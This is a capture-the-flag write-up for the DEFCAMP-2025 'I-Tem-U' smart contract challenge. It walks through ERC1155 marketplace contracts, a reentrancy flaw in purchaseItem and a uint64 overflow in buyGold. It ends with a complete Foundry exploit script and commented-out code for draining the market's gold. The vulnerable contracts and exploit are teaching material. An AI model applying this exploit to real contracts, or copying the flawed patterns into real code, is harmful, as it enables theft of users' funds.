Writeup for I-Tem-U

  • Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.

Challenge Description

dis item very special!! 😍 🩷 it go bling bling in ur pocket!! πŸ’Ž TEM SHOP BEST PRICE!!! πŸ’°πŸ’°πŸ’° tem go back to college wit da profit πŸ“š.

Objective

This challenge objective is to make Tem balance of TEM_FAV_ITEM as 0.

Source Files

The below are source contracts

  1. iTems contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.25;
 3
 4import  {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
 5import  "lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol";
 6
 7
 8library Items {
 9    uint256 internal constant GOLD = 0;
10    uint256 internal constant DAGEROUS_DAGER = 1;
11    uint256 internal constant TEM_FAV_ITEM = 2;
12}
13
14contract iTems is ERC1155, Ownable {
15
16 
17    constructor(address tem,uint amount) ERC1155("") Ownable(msg.sender) {}
18    
19    // Called on deployment
20
21    /**
22    @dev tem happi
23    */
24
25    function temHappi(address tem) external onlyOwner{
26        _mint(tem, Items.GOLD, 1_000, "");
27        _mint(tem, Items.DAGEROUS_DAGER, 4, "");
28        _mint(tem, Items.TEM_FAV_ITEM, 10, "");
29    }
30
31    /**
32    @dev challenge supplier
33    */
34
35    function freeGold(address to, uint256 amount) external onlyOwner{
36        _mint(to, Items.GOLD, amount, "");
37    }
38}
  1. TemU contract
  1// SPDX-License-Identifier: MIT
  2pragma solidity ^0.8.25;
  3
  4import {IERC1155} from "lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol";
  5import {ERC1155Holder} from "lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sol";
  6import  {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
  7
  8import "./iTems.sol";
  9
 10
 11contract TemU is Ownable,ERC1155Holder {
 12
 13    struct Listing {
 14        uint256 id;
 15        address seller;
 16        uint256 itemId;
 17        uint256 quantity;
 18        uint256 price;
 19        bool active;
 20    }
 21
 22    iTems public token;
 23
 24    event newListing();
 25    event itemPurchased(uint256, address,uint256,uint256,uint256);
 26
 27    uint64 public goldPrice;
 28
 29    mapping(uint256 => Listing) public listings;
 30    
 31    uint256[] public listingsIds;
 32
 33    constructor(address _token)  Ownable(msg.sender) {
 34        token = iTems(_token);
 35        goldPrice = 1_000_000_000;
 36    }
 37
 38    function createListing(uint256 item_id, uint256 quantity, uint256 price) external {
 39        // Basic checks
 40        require(item_id >=0 && item_id < 3,"Item not found");
 41        require(quantity > 0, "Quantity must be greater than zero");
 42        require(price > 0, "Price must be greater than zero");
 43
 44        uint256 listingId = uint256(keccak256(abi.encodePacked(msg.sender, item_id)));
 45        for (uint256 i; i < listingsIds.length; i++){
 46            require(listingsIds[i] != listingId, "Only one per seller per item allowed");
 47        }
 48
 49        // Make sure we are allowed to move funds
 50        require(token.balanceOf(msg.sender, item_id) >= quantity,"Insufficient balance");
 51        require(token.isApprovedForAll(msg.sender, address(this)),"This marketplace is not approved");
 52
 53        listings[listingId] = Listing(listingId, msg.sender, item_id, quantity, price,true);
 54        listingsIds.push(listingId);
 55
 56        emit newListing();
 57
 58    }
 59
 60    function purchaseItem(uint256 listingIdToPurchase, uint256 qunatityToPurchase) external {
 61        Listing storage listing = listings[listingIdToPurchase];
 62        // Basic checks
 63        require(listing.active, "Listing not active");
 64        require(listing.quantity >= qunatityToPurchase, "Not enough quantity in listing");
 65        require(qunatityToPurchase > 0, "Quantity must be greater than zero");
 66
 67        uint256 totalGoldCost = listing.price * qunatityToPurchase;
 68        require(token.balanceOf(msg.sender, Items.GOLD) >= totalGoldCost, "Insufficient GOLD balance");
 69
 70        token.safeTransferFrom(listing.seller, msg.sender, listing.itemId, qunatityToPurchase, "");
 71
 72        // Update listing quantity
 73        if (listing.quantity > 0) {
 74            listing.quantity -= qunatityToPurchase;
 75        }
 76
 77        if (listing.quantity == 0) {
 78            listing.active = false;
 79            uint256 indexToRemove = type(uint256).max;
 80            for (uint256 i = 0; i < listingsIds.length; i++) {
 81                if (listingsIds[i] == listingIdToPurchase) {
 82                    indexToRemove = i;
 83                    break;
 84                }
 85            }
 86            if (indexToRemove != type(uint256).max && listingsIds.length > 0) {
 87                listingsIds[indexToRemove] = listingsIds[listingsIds.length - 1];
 88                listingsIds.pop();
 89            }
 90        }
 91
 92        token.safeTransferFrom(msg.sender, listing.seller, Items.GOLD, totalGoldCost, "");
 93
 94        emit itemPurchased(listingIdToPurchase, msg.sender, listing.itemId, qunatityToPurchase, totalGoldCost);
 95    }
 96
 97    function showListings() external view returns (Listing[] memory){
 98        Listing[] memory allListings = new Listing[](listingsIds.length);
 99        for (uint256 i = 0; i < listingsIds.length; i++){
100            allListings[i] = listings[listingsIds[i]];
101        }
102
103        return allListings;
104    }
105
106    function buyGold(uint64 goldToBuy) external payable {
107        require(goldToBuy > 0, "Zero gold not allowed");
108        require(msg.value > 0, "Zero ether not allowed");
109
110        unchecked { 
111            //overflow
112            uint64 ethRequired = goldToBuy * goldPrice; 
113
114            require(msg.value >= ethRequired, "Insufficient Ether sent");
115            require(token.balanceOf(address(this), Items.GOLD) >= goldToBuy, "Try again later");
116
117            // Refund any excess ETH
118            if (msg.value > ethRequired) {
119                payable(msg.sender).transfer(msg.value - ethRequired);
120            }
121        }
122
123        token.safeTransferFrom(address(this), msg.sender, Items.GOLD, goldToBuy, "");
124
125    }
126}
  1. Tem contract
 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.8.25;
 3
 4import {IERC1155} from "lib/openzeppelin-contracts/contracts/token/ERC1155/ERC1155.sol";
 5import {ERC1155Holder} from "lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sol";
 6import  {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
 7
 8
 9import "./TemU.sol";
10import "./iTems.sol";
11
12contract Tem is Ownable{
13
14    iTems token;
15    TemU marketplace;
16
17    constructor(address _token, address _marketplace) Ownable(msg.sender){
18        token = iTems(_token);
19        marketplace = TemU(_marketplace);
20
21    }
22
23    function sellTem() external onlyOwner{
24        token.setApprovalForAll(address(marketplace), true);
25        marketplace.createListing(Items.TEM_FAV_ITEM, 1, 1e10);
26    }
27
28    function onERC1155Received(
29        address,
30        address,
31        uint256,
32        uint256,
33        bytes memory
34    ) public virtual  returns (bytes4) {
35        return this.onERC1155Received.selector;
36    }
37}

The challenge

Breaking Down iTems

The iTems contract inherits the ERC1155 token standard. ERC1155 is a multi-token standard that allows for the creation of both fungible and non-fungible tokens. The iTems contract has just two functions: temHappi and freeGold.

The temHappi function accepts one address parameter and can only be called by the owner. When called, it mints three types of fungible tokens: GOLD, DAGEROUS_DAGER, and TEM_FAV_ITEM. Specifically, this function mints 1,000 GOLD tokens, 4 DAGEROUS_DAGER tokens, and 10 TEM_FAV_ITEM tokens.

The freeGold function accepts two parameters as input, an address and an amount, and can also only be called by the owner. When called, this function will mint the specified amount of GOLD tokens to the address that was passed in.

Breaking Down TemU

The TemU contract is a marketplace where owners of GOLD, DAGEROUS_DAGER, and TEM_FAV_ITEM tokens can create sell orders, and if someone is interested in buying those tokens, they can. The TemU contract has three state-changing functions: createListing, purchaseItem, and buyGold.

The createListing function accepts three parameters as input: an item_id (uint256), a quantity (uint256), and a price (uint256). The function makes sure that the item_id passed is in the range of [0,3). The quantity is the amount of tokens the user wants to sell, and the price is the price in terms of the GOLD token. This function will make sure that the listing creator has the token with the specified item_id and a balance of at least the quantity. It will also check that the seller has approved the TemU contract to spend tokens on their behalf. Then, it will store all these details about the sell order in a struct named Listing. The struct is as follows.

1struct Listing {
2    uint256 id;
3    address seller;
4    uint256 itemId;
5    uint256 quantity;
6    uint256 price;
7    bool active;
8}

The purchaseItem function accepts two parameters as input: a listing_id (uint256) and a quantityToPurchase (uint256). The listing_id is the ID of the listing, which is derived as keccak256(listing_creator, token_id), and quantityToPurchase is the amount of tokens they want to purchase. The intended behavior of this function is to revert if the quantityToPurchase exceeds the quantity available in the listing. If everything matches, it will transfer the tokens from the Listing to the buyer (msg.sender) and transfer the required GOLD tokens to the seller of that listing.

The buyGold function accepts one parameter as input, goldToBuy (uint64). This function helps people buy GOLD for Ether at a fixed price. The price of GOLD is 1,000,000,000 wei. So, if you want to buy 10 GOLD, you need to send 10 * 1,000,000,000 wei to this contract, and this contract will send 10 GOLD to you. If the TemU contract doesn’t have enough balance of GOLD, it will revert.

Breaking Down Tem

The Tem contract is basically a users contract. It has only one state changing function: sellTem.

The sellTem function can only be called by the owner. Upon calling, it will first approve the marketplace contract to manage its tokens and then create a sell order for 1 TEM_FAV_ITEM in the marketplace for a price of 10,000,000,000 GOLD tokens.

The Vulnerability

Our goal is to make the Tem contract’s balance of TEM_FAV_ITEM zero. During the challenge deployment, iTems::temHappi was called, passing the Tem contract’s address. As a result, the Tem contract now has 1,000 GOLD, 4 DAGEROUS_DAGER, and 10 TEM_FAV_ITEM. We need to somehow make the TEM_FAV_ITEM balance go from 10 to zero. The deployment script also called the Tem::sellTem function, so there is an active listing to sell 1 TEM_FAV_ITEM for 10,000,000,000 GOLD.

If we look at the ERC1155 token standard, the setApprovalForAll function allows a spender to transfer any amount of an owner’s tokens until the approval is revoked. This is different from the approve function in the ERC20 standard. The Tem contract has called setApprovalForAll, giving the TemU marketplace contract true approval.

Because of this full approval, even though the Tem contract’s listing is for only one token, we can take all 10 TEM_FAV_ITEM tokens if we can find a bug in the TemU contract. The TemU::purchaseItem function does not follow the Checks-Effects-Interactions (CEI) pattern. It first transfers the tokens to the buyer and then decreases the quantity of that particular listing.

If this were an ERC20 transfer, it wouldn’t be an issue because the buyer couldn’t re-enter the function. However, since it is an ERC1155 safeTransferFrom, the function makes a callback to the receiver’s contract by calling onERC1155Received. From within this callback function, the buyer can call TemU::purchaseItem again. This re-entrant call will succeed because the listing’s quantity has not been updated yet, transferring another TEM_FAV_ITEM.

If the buyer repeats this 10 times, the Tem contract’s TEM_FAV_ITEM balance will become zero. The problem is that each call requires 1e10 GOLD tokens, for a total of 10 * 1e10 GOLD. To buy this much GOLD from the TemU::buyGold function, we would need 10 * 1e10 * 1e9 wei, which is 100 ether. We only have 1 ether.

 1function buyGold(uint64 goldToBuy) external payable {
 2        require(goldToBuy > 0, "Zero gold not allowed");
 3        require(msg.value > 0, "Zero ether not allowed");
 4
 5        unchecked { 
 6            //@audit overflow
 7            uint64 ethRequired = goldToBuy * goldPrice; 
 8
 9            require(msg.value >= ethRequired, "Insufficient Ether sent");
10            require(token.balanceOf(address(this), Items.GOLD) >= goldToBuy, "Try again later");
11
12            // Refund any excess ETH
13            if (msg.value > ethRequired) {
14                payable(msg.sender).transfer(msg.value - ethRequired);
15            }
16        }
17
18        token.safeTransferFrom(address(this), msg.sender, Items.GOLD, goldToBuy, "");
19
20    }

If we look at the buyGold function, we can see that goldToBuy is a uint64 and goldPrice is also a uint64. ethRequired is being calculated as goldToBuy * goldPrice, but this calculation is happening in an unchecked block, so there is a possibility of an overflow. If we input a high value for goldToBuy, it will definitely overflow. However, we can’t just input a high value because the function will try to transfer that amount of goldToBuy tokens to us at the end. If this transfer fails, the call will revert. Therefore, before passing a high value, we need to make sure the TemU contract has enough GOLD tokens.

The TemU contract has 1e18 GOLD tokens, which is a huge amount and enough to cause a uint64 to overflow. The true result of 1e18 * 1e9 is 1,000,000,000,000,000,000,000,000,000 but as a uint64 this calculation overflows and results in 11515845246265065472. This overflowed value is about 11.5 ether, but we only have 1 ether. We need to do some math to make goldToBuy * goldPrice result in a value less than 0.1 ether after it overflows, while also ensuring goldToBuy is greater than 10 * 1e10.

To understand this, let’s review how overflows work. The maximum value that can be stored in a uint8 is 2**8 - 1, which is 255.

1
2pragma solidity 0.6.12;
3
4contract Overflow{
5
6    function doOverflow(uint8 a,uint8 b)public pure returns(uint8){
7        return a*b;
8    }
9}

If we call Overflow::doOverflow by passing 10 and 2, the result is 20, as expected. But if we call it by passing 128 and 2, the result is 0 instead of the expected 256. Since a uint8 can only store up to 255, the value 256 wraps around to zero.

10 in hex is 0x000000000000000000000000000000000000000000000000000000000000000a, 2 in hex is 0x0000000000000000000000000000000000000000000000000000000000000002 and 128 in hex is 0x0000000000000000000000000000000000000000000000000000000000000080

10 * 2 == 0x000000000000000000000000000000000000000000000000000000000000000a * 0x0000000000000000000000000000000000000000000000000000000000000002 which will be equal to 0x0000000000000000000000000000000000000000000000000000000000000014. Since it is uint8 it will return last one byte. so it will return hex(14) which is 20 in decimal

128 * 2 == 0x0000000000000000000000000000000000000000000000000000000000000080 * 0x0000000000000000000000000000000000000000000000000000000000000002 which will be equal to 0x0000000000000000000000000000000000000000000000000000000000000100. Since it is uint8 it will return last one byte. so it will return hex(00) which is 0 in decimal. But if we see the whole bytes32 value the value is 256 but since we are using uint8 it is returning only 1 byte

We can also describe this overflow behavior using modular arithmetic. For example, uint8(128) * uint8(2) is the same as (128 * 2) % 256. If the input is uint8(130) * uint8(2), the output will be 4, which is equivalent to (130 * 2) % 256. We can generalize this as uint8(x) * uint8(y) being equal to (x * y) % 256.

Assume we have an input x of 130 and a constant multiplier y of 2. We need to find a new value for x such that (new_x * 2) % 256 is equal to0. The current value of 130 does not work, as (130 * 2) % 256 is not 0.

To find the new x from the given one, we can use the following formula: new_x = 130 - ((130 * 2) % 256) / 2. This new x will give a result of zero when multiplied by 2, modulo 256. We can generalize it as new_x = old_x - ((old_x*y)%2**(number_of_bits))/y

Now, let’s get back to the solution. In our case, the overflow happens with uint64 values. As we saw, if we try to buy the TemU contract’s entire GOLD balance (1e18), the ethRequired after the overflow is still about 11.1 ether, which is more than the 1 ether we have.

We can use our generalized formula to find a goldToBuy amount that will cause the ethRequired to overflow to a value that is almost zero. This allows us to buy a massive number of tokens for a tiny price.

The generalized formula is: new_x = old_x - ((old_x * y) % (2**number_of_bits)) / y

We can map the variables from the buyGold function to this formula:

  • old_x: 1e18 (GOLD balance of TemU)
  • y: The constant price of one GOLD token, which is 1e9.
  • number_of_bits: The integer size we are overflowing, which is 64.

Plugging these values in, the ideal goldToBuy amount (new_x) can be calculated as: goldToBuy = 1e18 - ((1e18 * 1e9) % (2**64)) / 1e9

This calculation gives us the largest possible goldToBuy value (starting from the contract’s balance) that results in an ethRequired of less than 0.1 ether.

Exploit Script

The below is the exploit script:

 1pragma solidity ^0.8.0;
 2
 3import {Script,console} from "forge-std/Script.sol";
 4import {TemU} from "src/TemU.sol";
 5import {iTems} from "src/iTems.sol";
 6import {Tem} from "src/Tem.sol";
 7import {ERC1155Holder} from "lib/openzeppelin-contracts/contracts/token/ERC1155/utils/ERC1155Holder.sol";
 8
 9
10contract Solve is Script{
11    function run()public{
12        vm.startBroadcast();
13        TemU market=TemU(address(0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512));
14        Exploit exploit=new Exploit(market);
15        exploit.pwn{value: 0.1e18}();
16        iTems token=market.token();
17        require(token.balanceOf(address(exploit), 2)==10);
18        vm.stopBroadcast();
19    }
20}
21
22
23contract Exploit is ERC1155Holder{
24
25    uint256 price=1e9;
26    uint256 balance=1000000000000000000;
27    uint256 qunatityToPurchase=1;
28    TemU market;
29    iTems token;
30    uint256 listingIdToPurchase;
31    uint8 count=0;
32    constructor(TemU _market){
33        market=_market;
34        token=market.token();
35    }
36
37    function pwn()public payable{
38        uint256 u_64_max=2**64;
39        uint256 init_overflow_amount=(price* balance) %u_64_max;
40        uint256 init_buy_amount=balance-(init_overflow_amount/price);
41        uint256 eth_to_send= uint64(uint256(init_buy_amount)* uint256(price));
42        market.buyGold{value:eth_to_send}(uint64(init_buy_amount));
43        balance-=init_buy_amount;
44        token.setApprovalForAll(address(market), true);
45        listingIdToPurchase=market.listingsIds(0);
46        market.purchaseItem(listingIdToPurchase, qunatityToPurchase);
47
48        // Logic to drain Entire GOLD of TemU :)
49        /*
50        uint256 transfer_value= (u_64_max/uint256(price))- balance +1;
51        token.safeTransferFrom(address(this), address(market), 0, transfer_value, "");
52        uint256 current_market_balance= token.balanceOf(address(market), 0);
53        eth_to_send= uint64(uint256(current_market_balance)* uint256(price));
54        market.buyGold{value:eth_to_send}(uint64(current_market_balance));
55        console.log(token.balanceOf(address(market), 0));
56        */
57    }
58
59    function onERC1155Received(
60        address,
61        address,
62        uint256 id,
63        uint256,
64        bytes memory
65    ) public virtual override returns (bytes4) {
66        
67        if(count<9 && id==2){
68            count+=1;
69            market.purchaseItem(listingIdToPurchase, qunatityToPurchase);
70
71        }
72        
73        return this.onERC1155Received.selector;
74    }
75
76}

Note

If you want to try this challenge locally, clone the challenges repository and follow the setup guide. This setup is available only for 2025 challenge solutions. If you face any issues feel free to reach out on discord :)

To deploy the challenge run the following command.

1make deploy CTF=DEFCAMP-2025 CHALL=I-Tem-U

To run my solution run the following command.

1make run-solution CTF=DEFCAMP-2025 CHALL=I-Tem-U

To run your solution run the following command. Before running this you need to implement your solution in Solve.s.sol

1make run-solution CTF=DEFCAMP-2025 CHALL=I-Tem-U

***Hope you enjoyed this write-up. Keep on hacking and learning!***